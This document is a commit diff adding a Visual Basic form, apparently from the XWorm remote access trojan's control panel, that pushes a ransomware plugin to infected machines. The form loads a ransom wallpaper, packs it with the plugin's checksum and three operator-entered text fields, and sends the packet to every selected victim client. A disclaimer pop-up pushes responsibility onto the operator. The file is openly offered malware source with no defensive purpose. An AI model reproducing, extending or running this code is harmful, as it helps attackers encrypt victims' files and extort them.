initial commit

XWorm/Forms/Ransomware.vb

@@ -0,0 +1,42 @@
+Imports System.Threading
+Public Class Ransomware
+
+    Dim Path As String
+    Private Sub Ransomware_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        ToolStripStatusLabel1.Text = "Selected [" & Main.Lv1.SelectedItems.Count & "]"
+        Try
+            Path = "Background.png"
+            PictureBox1.Image = Image.FromFile(Path)
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub PictureBox1_MouseClick(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseClick
+        Dim openFileDialog As OpenFileDialog = New OpenFileDialog()
+        Dim openFileDialog2 As OpenFileDialog = openFileDialog
+        openFileDialog2.Title = "Select Image"
+        openFileDialog2.Filter = "(*.jpg;*.bmp;*.png)|*.jpg;*.bmp;*.png"
+        Dim flag As Boolean = openFileDialog.ShowDialog() = DialogResult.OK
+        If flag Then
+            Path = openFileDialog.FileName
+            PictureBox1.Image = Image.FromFile(Path)
+        End If
+    End Sub
+
+    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
+        Dim result As Integer = MessageBox.Show("This Feature Is At Your Own Risk And I Am Not Responsible For Your Actions , Do You Want Continue ?", Text, MessageBoxButtons.YesNo)
+        If result = DialogResult.Yes Then
+            Try
+                Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Ransomware.dll") & SettingsHelper.SPL & "True" & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(Path))) & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox2.Text & SettingsHelper.SPL & Guna2TextBox3.Text)
+                For Each C As Client In Main.GetSelectedClients
+                    ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+                Next
+                MessageBox.Show("DONE!")
+                Close()
+            Catch ex As Exception
+                MessageBox.Show(ex.Message)
+            End Try
+        End If
+    End Sub
+End Class